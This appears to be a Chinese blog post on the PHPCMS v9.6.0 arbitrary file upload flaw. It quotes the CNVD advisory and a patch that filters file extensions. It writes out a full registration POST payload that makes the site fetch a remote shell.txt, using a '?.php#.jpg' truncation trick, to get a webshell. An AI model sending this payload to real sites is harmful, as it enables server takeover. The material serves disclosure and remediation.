产品运维与网络安全

phpcmsv9.6.0 任意文件上传漏洞【官方修复方案】

phpcms 四月份左右和sql注入漏洞一同,爆出了一个任意文件上传漏洞,漏洞利用比较简单,危害很大,可以直接前台getshell. 这里来一块分析一下。

漏洞利用点是注册的地方,我们来看一下常见的一个payload:

index.php?m=member&c=index&a=register&siteid=1

post数据: 
siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://www.blogsir.com.cn/lj_ctf/shell.txt?.php#.jpg>&dosubmit=1

安全公告编号:CNTA-2017-0025

近日,国家信息安全漏洞共享平台(CNVD)收录了PHP存在任意文件上传漏洞(CNVD-2017-04180)。远程攻击者可利用前台注册功能上传任意图片木马文件,获得网站的控制权限。

一、漏洞情况分析

PHPCMS采用PHP5+MYSQL做为技术基础进行开发,是一款网站建站系统,该系统采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。

PHPCMS V9.6 WAP模块对前台用户上传的文件扩展名过滤不严,导致存在任意文件上传漏洞,远程攻击者通过注册功能,使用#截断绕过对文件扩展名的验证,上传一个伪造成图片的脚本文件获取网站的webshell。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞影响开启WAP模块且开放前台注册功能的PHPCMS V9.6版本。

三、漏洞修复建议

目前官方暂未发布任何补丁,CNVD建议用户关注厂商主页,及时等待更新。

针对开启WAP模块且开放前台注册功能用户,临时防护建议:

1.打开文件/phpcms/libs/classes/attachment.class.php

在第166行后加上如下代码:

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次。

 

if(!preg_match("/($ext)/is",$filename) || 
in_array($filename,array('php','phtml','php3','php4','jsp','dll','asp','cer','asa','shtml','shtm','aspx','asax','cgi','fcgi','pl'))
){
continue;
}

if(!preg_match("/($ext)/i", $filename)) {
continue;
}

 

Avatar photo

人生长恨水长东

留言

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据